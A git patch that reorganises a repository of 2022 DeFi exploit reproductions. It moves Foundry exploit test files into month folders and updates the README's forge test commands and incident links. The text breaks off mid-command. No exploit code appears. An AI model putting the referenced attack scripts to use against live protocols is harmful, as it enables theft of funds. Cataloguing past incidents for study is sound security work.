From 8144bfb0ab25577761039a45be7ab09d56cfd3f4 Mon Sep 17 00:00:00 2001 From: Autosaida <873666875@qq.com> Date: Mon, 20 May 2024 11:33:25 +0800 Subject: [PATCH] fix: update 2022 README --- past/2022/README.md | 491 +++++++++--------- script/LuckyTiger_s_exp.sol | 75 --- .../Anyswap_exp.sol} | 0 src/test/{others => 2022-01}/Qubit_exp.sol | 0 src/test/{others => 2022-02}/BuildF_exp.sol | 0 src/test/{others => 2022-02}/Meter_exp.sol | 0 src/test/{others => 2022-02}/Sandbox_exp.sol | 0 .../{others => 2022-02}/TecraSpace_exp.sol | 0 src/test/{others => 2022-03}/Agave_exp.sol | 0 src/test/{others => 2022-03}/Auctus_exp.sol | 0 src/test/{others => 2022-03}/Bacon_exp.sol | 0 .../{others => 2022-03}/CompoundTusd_exp.sol | 0 src/test/{others => 2022-03}/Fantasm_exp.sol | 0 .../HundredFinance_exp.sol | 0 src/test/{others => 2022-03}/LiFi_exp.sol | 0 src/test/{others => 2022-03}/OneRing_exp.sol | 0 src/test/{others => 2022-03}/Paraluni_exp.sol | 0 .../RedactedCartel_exp.sol | 0 src/test/{others => 2022-03}/Revest_exp.sol | 0 src/test/{others => 2022-03}/Ronin_exp.sol | 0 .../{others => 2022-03}/TreasureDAO_exp.sol | 0 src/test/{others => 2022-03}/Umbrella_exp.sol | 0 .../{others => 2022-04}/AkutarNFT_exp.sol | 0 .../{others => 2022-04}/Beanstalk_exp.sol | 0 .../Elephant_Money_exp.sol} | 0 src/test/{others => 2022-04}/Gym_1_exp.sol | 0 .../Rari_exp.t.sol => 2022-04/Rari_exp.sol} | 0 src/test/{others => 2022-04}/Rikkei_exp.sol | 0 src/test/{others => 2022-04}/Saddle_exp.sol | 0 src/test/{others => 2022-04}/Wdoge_exp.sol | 0 src/test/{others => 2022-04}/Zeed_exp.sol | 0 src/test/{others => 2022-04}/cftoken_exp.sol | 0 src/test/{others => 2022-04}/deus_exp.sol | 0 .../{others => 2022-05}/Bayc_apecoin_exp.sol | 0 ...essLoans.exp.sol => FortressLoans_exp.sol} | 0 src/test/{others => 2022-05}/HackDao_exp.sol | 0 src/test/{others => 2022-05}/Novo_exp.sol | 0 src/test/{others => 2022-06}/Discover_exp.sol | 0 src/test/{others => 2022-06}/Gym_2_exp.sol | 0 .../Harmony_multisig_exp.sol} | 0 .../InverseFinance_exp.sol | 0 src/test/{others => 2022-06}/Optimism_exp.sol | 0 .../Snood_poc.t.sol => 2022-06/Snood_exp.sol} | 0 .../XCarnival_exp.sol} | 0 .../Audius.exp.sol => 2022-07/Audius_exp.sol} | 0 .../FlippazOne_exp.sol} | 0 .../LPC.exp.sol => 2022-07/LPC_exp.sol} | 0 src/test/{others => 2022-07}/Omni_exp.sol | 0 src/test/{others => 2022-07}/Quixotic_exp.sol | 0 .../SpaceGodzilla_exp.sol} | 0 src/test/{others => 2022-08}/ANCH_exp.sol | 0 .../EGD_Finance_exp.sol} | 0 .../{others => 2022-08}/LuckyTiger_exp.sol | 0 .../NomadBridge_exp.sol} | 0 .../ReaperFarm_exp.sol} | 0 .../XST.exp.sol => 2022-08/XST_exp.sol} | 0 .../XST02_exp.sol => 2022-08/XST_exp2.sol} | 0 .../{others => 2022-09}/BNB48MEVBot_exp.sol | 0 src/test/{others => 2022-09}/BXH_exp.sol | 0 .../{others => 2022-09}/BadGuysbyRPF_exp.sol | 0 src/test/{others => 2022-09}/DPC_exp.sol | 0 .../{others => 2022-09}/MEVbadc0de_exp.sol | 0 src/test/{others => 2022-09}/NXUSD_exp.sol | 0 .../{others => 2022-09}/NewFreeDAO_exp.sol | 0 src/test/{others => 2022-09}/RADT_exp.sol | 0 src/test/{others => 2022-09}/ROI_exp.sol | 0 src/test/{others => 2022-09}/Shadowfi_exp.sol | 0 src/test/{others => 2022-09}/THB_exp.sol | 0 src/test/{others => 2022-09}/Yyds_exp.sol | 0 .../ZoomproFinance_exp.sol | 0 src/test/{others => 2022-10}/ATK_exp.sol | 0 src/test/{others => 2022-10}/BEGO_exp.sol | 0 src/test/{others => 2022-10}/BabySwap_exp.sol | 0 src/test/{others => 2022-10}/Carrot_exp.sol | 0 .../{others => 2022-10}/EFLeverVault_exp.sol | 0 src/test/{others => 2022-10}/HEALTH_exp.sol | 0 src/test/{others => 2022-10}/HPAY_exp.sol | 0 src/test/{others => 2022-10}/INUKO_exp.sol | 0 src/test/{others => 2022-10}/MEVa47b_exp.sol | 0 .../Market_exp.sol} | 0 .../MulticallWithoutCheck_exp.sol | 0 src/test/{others => 2022-10}/N00d_exp.sol | 0 .../OlympusDao_exp.sol} | 0 src/test/{others => 2022-10}/PLTD_exp.sol | 0 src/test/{others => 2022-10}/RES_exp.sol | 0 .../RES02_exp.sol => 2022-10/RES_exp2.sol} | 0 src/test/{others => 2022-10}/RL_exp.sol | 0 .../RabbyWallet_SwapRouter_exp.sol} | 0 .../TeamFinance_exp.sol} | 0 .../{others => 2022-10}/Templedao_exp.sol | 0 .../{others => 2022-10}/TransitSwap_exp.sol | 0 src/test/{others => 2022-10}/ULME_exp.sol | 0 src/test/{others => 2022-10}/ULME_exp2.sol | 0 src/test/{others => 2022-10}/Uerii_exp.sol | 0 src/test/{others => 2022-10}/VTF_exp.sol | 0 .../{others => 2022-10}/XaveFinance_exp.sol | 0 src/test/{others => 2022-11}/AUR_exp.sol | 0 src/test/{others => 2022-11}/Annex_exp.sol | 0 src/test/{others => 2022-11}/BDEX_exp.sol | 0 src/test/{others => 2022-11}/BrahTOPG_exp.sol | 0 src/test/{others => 2022-11}/DFX_exp.sol | 0 src/test/{others => 2022-11}/Kashi_exp.sol | 0 src/test/{others => 2022-11}/MBC_ZZSH_exp.sol | 0 .../MEV_0ad8_exp.sol} | 0 .../{others => 2022-11}/MooCAKECTX_exp.sol | 0 src/test/{others => 2022-11}/NUM_exp.sol | 0 src/test/{others => 2022-11}/SDAO_exp.sol | 0 src/test/{others => 2022-11}/SEAMAN_exp.sol | 0 .../{others => 2022-11}/SheepFarm_exp.sol | 0 .../{others => 2022-11}/UEarnPool_exp.sol | 0 src/test/{others => 2022-12}/AES_exp.sol | 0 src/test/{others => 2022-12}/APC_exp.sol | 0 src/test/{others => 2022-12}/BBOX_exp.sol | 0 src/test/{others => 2022-12}/BGLD_exp.sol | 0 src/test/{others => 2022-12}/DFS_exp.sol | 0 src/test/{others => 2022-12}/Defrost_exp.sol | 0 .../{others => 2022-12}/ElasticSwap_exp.sol | 0 src/test/{others => 2022-12}/FPR_exp.sol | 0 src/test/{others => 2022-12}/JAY_exp.sol | 0 src/test/{others => 2022-12}/Lodestar_exp.sol | 0 src/test/{others => 2022-12}/MUMUG_exp.sol | 0 .../{others => 2022-12}/Nmbplatform_exp.sol | 0 .../{others => 2022-12}/NovaExchange_exp.sol | 0 .../{others => 2022-12}/Overnight_exp.sol | 0 src/test/{others => 2022-12}/RFB_exp.sol | 0 src/test/{others => 2022-12}/Rubic_exp.sol | 0 src/test/{others => 2022-12}/TIFI_exp.sol | 0 127 files changed, 245 insertions(+), 321 deletions(-) delete mode 100644 script/LuckyTiger_s_exp.sol rename src/test/{others/Anyswap_poc.t.sol => 2022-01/Anyswap_exp.sol} (100%) rename src/test/{others => 2022-01}/Qubit_exp.sol (100%) rename src/test/{others => 2022-02}/BuildF_exp.sol (100%) rename src/test/{others => 2022-02}/Meter_exp.sol (100%) rename src/test/{others => 2022-02}/Sandbox_exp.sol (100%) rename src/test/{others => 2022-02}/TecraSpace_exp.sol (100%) rename src/test/{others => 2022-03}/Agave_exp.sol (100%) rename src/test/{others => 2022-03}/Auctus_exp.sol (100%) rename src/test/{others => 2022-03}/Bacon_exp.sol (100%) rename src/test/{others => 2022-03}/CompoundTusd_exp.sol (100%) rename src/test/{others => 2022-03}/Fantasm_exp.sol (100%) rename src/test/{others => 2022-03}/HundredFinance_exp.sol (100%) rename src/test/{others => 2022-03}/LiFi_exp.sol (100%) rename src/test/{others => 2022-03}/OneRing_exp.sol (100%) rename src/test/{others => 2022-03}/Paraluni_exp.sol (100%) rename src/test/{others => 2022-03}/RedactedCartel_exp.sol (100%) rename src/test/{others => 2022-03}/Revest_exp.sol (100%) rename src/test/{others => 2022-03}/Ronin_exp.sol (100%) rename src/test/{others => 2022-03}/TreasureDAO_exp.sol (100%) rename src/test/{others => 2022-03}/Umbrella_exp.sol (100%) rename src/test/{others => 2022-04}/AkutarNFT_exp.sol (100%) rename src/test/{others => 2022-04}/Beanstalk_exp.sol (100%) rename src/test/{others/Elephant_Money_poc.sol => 2022-04/Elephant_Money_exp.sol} (100%) rename src/test/{others => 2022-04}/Gym_1_exp.sol (100%) rename src/test/{others/Rari_exp.t.sol => 2022-04/Rari_exp.sol} (100%) rename src/test/{others => 2022-04}/Rikkei_exp.sol (100%) rename src/test/{others => 2022-04}/Saddle_exp.sol (100%) rename src/test/{others => 2022-04}/Wdoge_exp.sol (100%) rename src/test/{others => 2022-04}/Zeed_exp.sol (100%) rename src/test/{others => 2022-04}/cftoken_exp.sol (100%) rename src/test/{others => 2022-04}/deus_exp.sol (100%) rename src/test/{others => 2022-05}/Bayc_apecoin_exp.sol (100%) rename src/test/2022-05/{FortressLoans.exp.sol => FortressLoans_exp.sol} (100%) rename src/test/{others => 2022-05}/HackDao_exp.sol (100%) rename src/test/{others => 2022-05}/Novo_exp.sol (100%) rename src/test/{others => 2022-06}/Discover_exp.sol (100%) rename src/test/{others => 2022-06}/Gym_2_exp.sol (100%) rename src/test/{others/Harmony_multisig.sol => 2022-06/Harmony_multisig_exp.sol} (100%) rename src/test/{others => 2022-06}/InverseFinance_exp.sol (100%) rename src/test/{others => 2022-06}/Optimism_exp.sol (100%) rename src/test/{others/Snood_poc.t.sol => 2022-06/Snood_exp.sol} (100%) rename src/test/{others/XCarnival.exp.sol => 2022-06/XCarnival_exp.sol} (100%) rename src/test/{others/Audius.exp.sol => 2022-07/Audius_exp.sol} (100%) rename src/test/{others/FlippazOne.sol => 2022-07/FlippazOne_exp.sol} (100%) rename src/test/{others/LPC.exp.sol => 2022-07/LPC_exp.sol} (100%) rename src/test/{others => 2022-07}/Omni_exp.sol (100%) rename src/test/{others => 2022-07}/Quixotic_exp.sol (100%) rename src/test/{others/SpaceGodzilla.exp.sol => 2022-07/SpaceGodzilla_exp.sol} (100%) rename src/test/{others => 2022-08}/ANCH_exp.sol (100%) rename src/test/{others/EGD-Finance.exp.sol => 2022-08/EGD_Finance_exp.sol} (100%) rename src/test/{others => 2022-08}/LuckyTiger_exp.sol (100%) rename src/test/{others/NomadBridge.exp.sol => 2022-08/NomadBridge_exp.sol} (100%) rename src/test/{others/ReaperFarm.exp.sol => 2022-08/ReaperFarm_exp.sol} (100%) rename src/test/{others/XST.exp.sol => 2022-08/XST_exp.sol} (100%) rename src/test/{others/XST02_exp.sol => 2022-08/XST_exp2.sol} (100%) rename src/test/{others => 2022-09}/BNB48MEVBot_exp.sol (100%) rename src/test/{others => 2022-09}/BXH_exp.sol (100%) rename src/test/{others => 2022-09}/BadGuysbyRPF_exp.sol (100%) rename src/test/{others => 2022-09}/DPC_exp.sol (100%) rename src/test/{others => 2022-09}/MEVbadc0de_exp.sol (100%) rename src/test/{others => 2022-09}/NXUSD_exp.sol (100%) rename src/test/{others => 2022-09}/NewFreeDAO_exp.sol (100%) rename src/test/{others => 2022-09}/RADT_exp.sol (100%) rename src/test/{others => 2022-09}/ROI_exp.sol (100%) rename src/test/{others => 2022-09}/Shadowfi_exp.sol (100%) rename src/test/{others => 2022-09}/THB_exp.sol (100%) rename src/test/{others => 2022-09}/Yyds_exp.sol (100%) rename src/test/{others => 2022-09}/ZoomproFinance_exp.sol (100%) rename src/test/{others => 2022-10}/ATK_exp.sol (100%) rename src/test/{others => 2022-10}/BEGO_exp.sol (100%) rename src/test/{others => 2022-10}/BabySwap_exp.sol (100%) rename src/test/{others => 2022-10}/Carrot_exp.sol (100%) rename src/test/{others => 2022-10}/EFLeverVault_exp.sol (100%) rename src/test/{others => 2022-10}/HEALTH_exp.sol (100%) rename src/test/{others => 2022-10}/HPAY_exp.sol (100%) rename src/test/{others => 2022-10}/INUKO_exp.sol (100%) rename src/test/{others => 2022-10}/MEVa47b_exp.sol (100%) rename src/test/{others/Market_exp.t.sol => 2022-10/Market_exp.sol} (100%) rename src/test/{others => 2022-10}/MulticallWithoutCheck_exp.sol (100%) rename src/test/{others => 2022-10}/N00d_exp.sol (100%) rename src/test/{others/OlympusDao.exp.sol => 2022-10/OlympusDao_exp.sol} (100%) rename src/test/{others => 2022-10}/PLTD_exp.sol (100%) rename src/test/{others => 2022-10}/RES_exp.sol (100%) rename src/test/{others/RES02_exp.sol => 2022-10/RES_exp2.sol} (100%) rename src/test/{others => 2022-10}/RL_exp.sol (100%) rename src/test/{others/RabbyWallet_SwapRouter.exp.sol => 2022-10/RabbyWallet_SwapRouter_exp.sol} (100%) rename src/test/{others/TeamFinance.exp.sol => 2022-10/TeamFinance_exp.sol} (100%) rename src/test/{others => 2022-10}/Templedao_exp.sol (100%) rename src/test/{others => 2022-10}/TransitSwap_exp.sol (100%) rename src/test/{others => 2022-10}/ULME_exp.sol (100%) rename src/test/{others => 2022-10}/ULME_exp2.sol (100%) rename src/test/{others => 2022-10}/Uerii_exp.sol (100%) rename src/test/{others => 2022-10}/VTF_exp.sol (100%) rename src/test/{others => 2022-10}/XaveFinance_exp.sol (100%) rename src/test/{others => 2022-11}/AUR_exp.sol (100%) rename src/test/{others => 2022-11}/Annex_exp.sol (100%) rename src/test/{others => 2022-11}/BDEX_exp.sol (100%) rename src/test/{others => 2022-11}/BrahTOPG_exp.sol (100%) rename src/test/{others => 2022-11}/DFX_exp.sol (100%) rename src/test/{others => 2022-11}/Kashi_exp.sol (100%) rename src/test/{others => 2022-11}/MBC_ZZSH_exp.sol (100%) rename src/test/{others/MEV_0ad8.t.sol => 2022-11/MEV_0ad8_exp.sol} (100%) rename src/test/{others => 2022-11}/MooCAKECTX_exp.sol (100%) rename src/test/{others => 2022-11}/NUM_exp.sol (100%) rename src/test/{others => 2022-11}/SDAO_exp.sol (100%) rename src/test/{others => 2022-11}/SEAMAN_exp.sol (100%) rename src/test/{others => 2022-11}/SheepFarm_exp.sol (100%) rename src/test/{others => 2022-11}/UEarnPool_exp.sol (100%) rename src/test/{others => 2022-12}/AES_exp.sol (100%) rename src/test/{others => 2022-12}/APC_exp.sol (100%) rename src/test/{others => 2022-12}/BBOX_exp.sol (100%) rename src/test/{others => 2022-12}/BGLD_exp.sol (100%) rename src/test/{others => 2022-12}/DFS_exp.sol (100%) rename src/test/{others => 2022-12}/Defrost_exp.sol (100%) rename src/test/{others => 2022-12}/ElasticSwap_exp.sol (100%) rename src/test/{others => 2022-12}/FPR_exp.sol (100%) rename src/test/{others => 2022-12}/JAY_exp.sol (100%) rename src/test/{others => 2022-12}/Lodestar_exp.sol (100%) rename src/test/{others => 2022-12}/MUMUG_exp.sol (100%) rename src/test/{others => 2022-12}/Nmbplatform_exp.sol (100%) rename src/test/{others => 2022-12}/NovaExchange_exp.sol (100%) rename src/test/{others => 2022-12}/Overnight_exp.sol (100%) rename src/test/{others => 2022-12}/RFB_exp.sol (100%) rename src/test/{others => 2022-12}/Rubic_exp.sol (100%) rename src/test/{others => 2022-12}/TIFI_exp.sol (100%) diff --git a/past/2022/README.md b/past/2022/README.md index f8bb86bd..aabc640c 100644 --- a/past/2022/README.md +++ b/past/2022/README.md @@ -255,12 +255,12 @@ Testing ```sh -forge test --contracts ./src/test/others/DFS_exp.sol -vvv +forge test --contracts ./src/test/2022-12/DFS_exp.sol -vvv ``` #### Contract -[DFS_exp.sol](../../src/test/others/DFS_exp.sol) +[DFS_exp.sol](../../src/test/2022-12/DFS_exp.sol) #### Link reference @@ -275,12 +275,12 @@ https://twitter.com/CertiKAlert/status/1608788290785665024 Testing ```sh -forge test --contracts ./src/test/others/JAY_exp.sol -vvv +forge test --contracts ./src/test/2022-12/JAY_exp.sol -vvv ``` #### Contract -[JAY_exp.sol](../../src/test/others/JAY_exp.sol) +[JAY_exp.sol](../../src/test/2022-12/JAY_exp.sol) #### Link reference @@ -295,12 +295,12 @@ https://twitter.com/BlockSecTeam/status/1608372475225866240 Testing ```sh -forge test --contracts ./src/test/others/Rubic_exp.sol -vvv +forge test --contracts ./src/test/2022-12/Rubic_exp.sol -vvv ``` #### Contract -[Rubic_exp.sol](../../src/test/others/Rubic_exp.sol) +[Rubic_exp.sol](../../src/test/2022-12/Rubic_exp.sol) #### Link reference @@ -317,12 +317,12 @@ https://twitter.com/peckshield/status/1606937055761952770 Testing ```sh -forge test --contracts ./src/test/others/Defrost_exp.sol -vvv +forge test --contracts ./src/test/2022-12/Defrost_exp.sol -vvv ``` #### Contract -[Defrost_exp.sol](../../src/test/others/Defrost_exp.sol) +[Defrost_exp.sol](../../src/test/2022-12/Defrost_exp.sol) #### Link reference @@ -337,12 +337,12 @@ https://twitter.com/PeckShieldAlert/status/1606276020276891650 Testing ```sh -forge test --contracts ./src/test/others/Nmbplatform_exp.sol -vvv +forge test --contracts ./src/test/2022-12/Nmbplatform_exp.sol -vvv ``` #### Contract -[Nmbplatform_exp.sol](../../src/test/others/Nmbplatform_exp.sol) +[Nmbplatform_exp.sol](../../src/test/2022-12/Nmbplatform_exp.sol) #### Link reference @@ -357,12 +357,12 @@ https://twitter.com/BlockSecTeam/status/1602877048124735489 Testing ```sh -forge test --contracts ./src/test/others/FPR_exp.sol -vvv +forge test --contracts ./src/test/2022-12/FPR_exp.sol -vvv ``` #### Contract -[FPR_exp.sol](../../src/test/others/FPR_exp.sol) +[FPR_exp.sol](../../src/test/2022-12/FPR_exp.sol) #### Link reference @@ -379,12 +379,12 @@ https://twitter.com/chainlight_io/status/1603282848311480320 Testing ```sh -forge test --contracts ./src/test/others/ElasticSwap_exp.sol -vvv +forge test --contracts ./src/test/2022-12/ElasticSwap_exp.sol -vvv ``` #### Contract -[ElasticSwap_exp.sol](../../src/test/others/ElasticSwap_exp.sol) +[ElasticSwap_exp.sol](../../src/test/2022-12/ElasticSwap_exp.sol) #### Link reference @@ -399,12 +399,12 @@ https://quillaudits.medium.com/decoding-elastic-swaps-850k-exploit-quillaudits-9 Testing ```sh -forge test --contracts ./src/test/others/BGLD_exp.sol -vvv +forge test --contracts ./src/test/2022-12/BGLD_exp.sol -vvv ``` #### Contract -[BGLD_exp.sol](../../src/test/others/BGLD_exp.sol) +[BGLD_exp.sol](../../src/test/2022-12/BGLD_exp.sol) #### Link reference @@ -419,12 +419,12 @@ https://twitter.com/BlockSecTeam/status/1602335214356660225 Testing ```sh -forge test --contracts ./src/test/others/Lodestar_exp.sol -vvv +forge test --contracts ./src/test/2022-12/Lodestar_exp.sol -vvv ``` #### Contract -[Lodestar_exp.sol](../../src/test/others/Lodestar_exp.sol) +[Lodestar_exp.sol](../../src/test/2022-12/Lodestar_exp.sol) #### Link reference @@ -441,12 +441,12 @@ https://blog.lodestarfinance.io/post-mortem-summary-13f5fe0bb336 Testing ```sh -forge test --contracts ./src/test/others/MUMUG_exp.sol -vvv +forge test --contracts ./src/test/2022-12/MUMUG_exp.sol -vvv ``` #### Contract -[MUMUG_exp.sol](../../src/test/others/MUMUG_exp.sol) +[MUMUG_exp.sol](../../src/test/2022-12/MUMUG_exp.sol) #### Link reference @@ -461,12 +461,12 @@ https://twitter.com/BeosinAlert/status/1601422462012469248 Testing ```sh -forge test --contracts ./src/test/others/TIFI_exp.sol -vvv +forge test --contracts ./src/test/2022-12/TIFI_exp.sol -vvv ``` #### Contract -[TIFI_exp.sol](../../src/test/others/TIFI_exp.sol) +[TIFI_exp.sol](../../src/test/2022-12/TIFI_exp.sol) #### Link reference @@ -481,12 +481,12 @@ https://twitter.com/peckshield/status/1601492605535399936 Testing ```sh -forge test --contracts ./src/test/others/NovaExchange_exp.sol -vvv +forge test --contracts ./src/test/2022-12/NovaExchange_exp.sol -vvv ``` #### Contract -[NovaExchange_exp.sol](../../src/test/others/NovaExchange_exp.sol) +[NovaExchange_exp.sol](../../src/test/2022-12/NovaExchange_exp.sol) #### Link reference @@ -501,12 +501,12 @@ https://twitter.com/BeosinAlert/status/1601168659585454081 Testing ```sh -forge test --contracts ./src/test/others/AES_exp.sol -vvv +forge test --contracts ./src/test/2022-12/AES_exp.sol -vvv ``` #### Contract -[AES_exp.sol](../../src/test/others/AES_exp.sol) +[AES_exp.sol](../../src/test/2022-12/AES_exp.sol) #### Link reference @@ -523,12 +523,12 @@ https://twitter.com/peckshield/status/1600418002163625984 Testing ```sh -forge test --contracts ./src/test/others/RFB_exp.sol -vvv +forge test --contracts ./src/test/2022-12/RFB_exp.sol -vvv ``` #### Contract -[RFB_exp.sol](../../src/test/others/RFB_exp.sol) +[RFB_exp.sol](../../src/test/2022-12/RFB_exp.sol) #### Link reference @@ -543,12 +543,12 @@ https://twitter.com/BlockSecTeam/status/1599991294947778560 Testing ```sh -forge test --contracts ./src/test/others/BBOX_exp.sol -vvv +forge test --contracts ./src/test/2022-12/BBOX_exp.sol -vvv ``` #### Contract -[BBOX_exp.sol](../../src/test/others/BBOX_exp.sol) +[BBOX_exp.sol](../../src/test/2022-12/BBOX_exp.sol) #### Link reference @@ -563,12 +563,12 @@ https://twitter.com/AnciliaInc/status/1599599614490877952 Testing ```sh -forge test --contracts ./src/test/others/Overnight_exp.sol -vvv +forge test --contracts ./src/test/2022-12/Overnight_exp.sol -vvv ``` #### Contract -[Overnight_exp.sol](../../src/test/others/Overnight_exp.sol) +[Overnight_exp.sol](../../src/test/2022-12/Overnight_exp.sol) #### Link reference @@ -583,12 +583,12 @@ https://twitter.com/peckshield/status/1598704809690877952 Testing ```sh -forge test --contracts ./src/test/others/APC_exp.sol -vvv +forge test --contracts ./src/test/2022-12/APC_exp.sol -vvv ``` #### Contract -[APC_exp.sol](../../src/test/others/APC_exp.sol) +[APC_exp.sol](../../src/test/2022-12/APC_exp.sol) #### Link reference @@ -603,12 +603,12 @@ https://twitter.com/BlockSecTeam/status/1598262002010378241 Testing ```sh -forge test --contracts ./src/test/others/MBC_ZZSH_exp.sol -vvv +forge test --contracts ./src/test/2022-11/MBC_ZZSH_exp.sol -vvv ``` #### Contract -[MBC_ZZSH_exp.sol](../../src/test/others/MBC_ZZSH_exp.sol) +[MBC_ZZSH_exp.sol](../../src/test/2022-11/MBC_ZZSH_exp.sol) #### Link reference @@ -625,12 +625,12 @@ https://twitter.com/CertiKAlert/status/1597639717096460288 Testing ```sh -forge test --contracts ./src/test/others/SEAMAN_exp.sol -vvv +forge test --contracts ./src/test/2022-11/SEAMAN_exp.sol -vvv ``` #### Contract -[SEAMAN_exp.sol](../../src/test/others/SEAMAN_exp.sol) +[SEAMAN_exp.sol](../../src/test/2022-11/SEAMAN_exp.sol) #### Link reference @@ -649,12 +649,12 @@ https://twitter.com/BeosinAlert/status/1597535796621631489 Testing ```sh -forge test --contracts ./src/test/others/NUM_exp.sol -vvv +forge test --contracts ./src/test/2022-11/NUM_exp.sol -vvv ``` #### Contract -[NUM_exp.sol](../../src/test/others/NUM_exp.sol) +[NUM_exp.sol](../../src/test/2022-11/NUM_exp.sol) #### Link reference @@ -669,12 +669,12 @@ https://twitter.com/BlockSecTeam/status/1595346020237352960 Testing ```sh -forge test --contracts ./src/test/others/AUR_exp.sol -vvv +forge test --contracts ./src/test/2022-11/AUR_exp.sol -vvv ``` #### Contract -[AUR_exp.sol](../../src/test/others/AUR_exp.sol) +[AUR_exp.sol](../../src/test/2022-11/AUR_exp.sol) #### Link reference @@ -689,12 +689,12 @@ https://twitter.com/AnciliaInc/status/1595142246570958848 Testing ```sh -forge test --contracts ./src/test/others/SDAO_exp.sol -vvv +forge test --contracts ./src/test/2022-11/SDAO_exp.sol -vvv ``` #### Contract -[SDAO_exp.sol](../../src/test/others/SDAO_exp.sol) +[SDAO_exp.sol](../../src/test/2022-11/SDAO_exp.sol) #### Link reference @@ -711,12 +711,12 @@ https://twitter.com/CertiKAlert/status/1594615286556393478 Testing ```sh -forge test --contracts ./src/test/others/Annex_exp.sol -vvv +forge test --contracts ./src/test/2022-11/Annex_exp.sol -vvv ``` #### Contract -[Annex_exp.sol](../../src/test/others/Annex_exp.sol) +[Annex_exp.sol](../../src/test/2022-11/Annex_exp.sol) #### Link reference @@ -731,12 +731,12 @@ https://twitter.com/AnciliaInc/status/1593690338526273536 Testing ```sh -forge test --contracts ./src/test/others/UEarnPool_exp.sol -vvv +forge test --contracts ./src/test/2022-11/UEarnPool_exp.sol -vvv ``` #### Contract -[UEranPool_exp.sol](../../src/test/others/UEarnPool_exp.sol) +[UEranPool_exp.sol](../../src/test/2022-11/UEarnPool_exp.sol) #### Link reference @@ -751,12 +751,12 @@ https://twitter.com/CertiKAlert/status/1593094922160128000 Testing ```sh -forge test --contracts ./src/test/others/SheepFarm_exp.sol -vvv +forge test --contracts ./src/test/2022-11/SheepFarm_exp.sol -vvv ``` #### Contract -[SheepFarm_exp.sol](../../src/test/others/SheepFarm_exp.sol) +[SheepFarm_exp.sol](../../src/test/2022-11/SheepFarm_exp.sol) #### Link reference @@ -773,12 +773,12 @@ https://twitter.com/BlockSecTeam/status/1592734292727455744 Testing ```sh -forge test --contracts ./src/test/others/DFX_exp.sol -vvv +forge test --contracts ./src/test/2022-11/DFX_exp.sol -vvv ``` #### Contract -[DFX_exp.sol](../../src/test/others/DFX_exp.sol) +[DFX_exp.sol](../../src/test/2022-11/DFX_exp.sol) #### Link reference @@ -799,12 +799,12 @@ https://twitter.com/peckshield/status/1590831589004816384 Testing ```sh - forge test --contracts ./src/test/others/BrahTOPG_exp.sol -vvv + forge test --contracts ./src/test/2022-11/BrahTOPG_exp.sol -vvv ``` #### Contract -[BrahTOPG_exp.sol](../../src/test/others/BrahTOPG_exp.sol) +[BrahTOPG_exp.sol](../../src/test/2022-11/BrahTOPG_exp.sol) #### Link reference @@ -819,12 +819,12 @@ https://twitter.com/SlowMist_Team/status/1590685173477101570 Testing ```sh -forge test --contracts ../../src/test/others/MEV_0ad8.t.sol -vvvv +forge test --contracts ../../src/test/2022-11/MEV_0ad8_exp.sol -vvvv ``` #### Contract -[MEV_0ad8.t.sol](../../src/test/others/MEV_0ad8.t.sol) +[MEV_0ad8_exp.sol](../../src/test/2022-11/MEV_0ad8_exp.sol) #### Link reference @@ -839,12 +839,12 @@ https://twitter.com/Supremacy_CA/status/1590337718755954690 Testing ```sh -forge test --contracts ./src/test/others/Kashi_exp.sol -vvv +forge test --contracts ./src/test/2022-11/Kashi_exp.sol -vvv ``` #### Contract -[Kashi_exp.sol](../../src/test/others/Kashi_exp.sol) +[Kashi_exp.sol](../../src/test/2022-11/Kashi_exp.sol) #### Link reference @@ -861,12 +861,12 @@ https://twitter.com/BlockSecTeam/status/1603633067876155393 Testing ```sh -forge test --contracts ./src/test/others/MooCAKECTX_exp.sol -vvv +forge test --contracts ./src/test/2022-11/MooCAKECTX_exp.sol -vvv ``` #### Contract -[MooCAKECTX_exp.sol](../../src/test/others/MooCAKECTX_exp.sol) +[MooCAKECTX_exp.sol](../../src/test/2022-11/MooCAKECTX_exp.sol) #### Link reference @@ -883,12 +883,12 @@ https://twitter.com/CertiKAlert/status/1589428153591615488 Testing ```sh -forge test --contracts ./src/test/others/BDEX_exp.sol -vvv +forge test --contracts ./src/test/2022-11/BDEX_exp.sol -vvv ``` #### Contract -[BDEX_exp.sol](../../src/test/others/BDEX_exp.sol) +[BDEX_exp.sol](../../src/test/2022-11/BDEX_exp.sol) #### Link reference @@ -903,12 +903,12 @@ https://twitter.com/BeosinAlert/status/1588579143830343683 Testing ```sh -forge test --contracts ./src/test/others/VTF_exp.sol -vvv +forge test --contracts ./src/test/2022-10/VTF_exp.sol -vvv ``` #### Contract -[VTF_exp.sol](../../src/test/others/VTF_exp.sol) +[VTF_exp.sol](../../src/test/2022-10/VTF_exp.sol) #### Link reference @@ -927,12 +927,12 @@ https://twitter.com/BeosinAlert/status/1585587030981218305 Testing ```sh -forge test --contracts ./src/test/others/TeamFinance.exp.sol -vvv +forge test --contracts ./src/test/2022-10/TeamFinance_exp.sol -vvv ``` #### Contract -[TeamFinance.exp.sol](../../src/test/others/TeamFinance.exp.sol) +[TeamFinance_exp.sol](../../src/test/2022-10/TeamFinance_exp.sol) #### Link reference @@ -953,12 +953,12 @@ https://twitter.com/BeosinAlert/status/1585578499125178369 Testing ```sh -forge test --contracts ../../src/test/others/N00d_exp.sol -vvv +forge test --contracts ../../src/test/2022-10/N00d_exp.sol -vvv ``` #### Contract -[N00d_exp.sol](../../src/test/others/N00d_exp.sol) +[N00d_exp.sol](../../src/test/2022-10/N00d_exp.sol) #### Link reference @@ -975,12 +975,12 @@ https://twitter.com/AnciliaInc/status/1584955717877784576 Testing ```sh -forge test --contracts ./src/test/others/ULME_exp.sol -vvv +forge test --contracts ./src/test/2022-10/ULME_exp.sol -vvv ``` #### Contract -[ULME_exp.sol](../../src/test/others/ULME_exp.sol) | [ULME_exp2.sol](../../src/test/others/ULME_exp2.sol) +[ULME_exp.sol](../../src/test/2022-10/ULME_exp.sol) | [ULME_exp2.sol](../../src/test/2022-10/ULME_exp2.sol) #### Link reference @@ -999,12 +999,12 @@ https://medium.com/neptune-mutual/decoding-ulme-token-flash-loan-attack-56470d26 Testing ```sh -forge test --contracts ./src/test/others/Market_exp.t.sol -vv +forge test --contracts ./src/test/2022-10/Market_exp.sol -vv ``` #### Contract -[Market_exp.t.sol](../../src/test/others/Market_exp.t.sol) +[Market_exp.sol](../../src/test/2022-10/Market_exp.sol) #### Link reference @@ -1019,12 +1019,12 @@ https://quillaudits.medium.com/decoding-220k-read-only-reentrancy-exploit-quilla Testing ```sh -forge test --contracts 